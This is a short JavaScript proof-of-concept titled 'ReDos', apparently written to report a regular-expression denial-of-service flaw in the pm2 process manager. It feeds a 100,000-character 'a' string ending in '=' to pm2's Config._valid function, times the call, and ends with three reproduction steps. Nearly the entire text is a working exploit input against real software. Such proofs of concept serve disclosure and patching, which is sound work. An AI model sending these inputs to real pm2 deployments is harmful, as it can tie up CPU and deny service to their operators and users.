ReDos

poc.js

const config = require('./Config') 

const schemaEntry = {
  type: ['array', 'string']
}

const value = ""+"a".repeat(100000)+"=";
const startTime = performance.now();

const result = config._valid('dummyKey', value, schemaEntry)

console.log(result) 




const endTime = performance.now();
const timeTaken = endTime - startTime;

console.log(`time taken: ${timeTaken.toFixed(3)} ms`);


// 1.git clone https://github.com/Unitech/pm2.git
// 2.create poc.js
// 3.node poc.js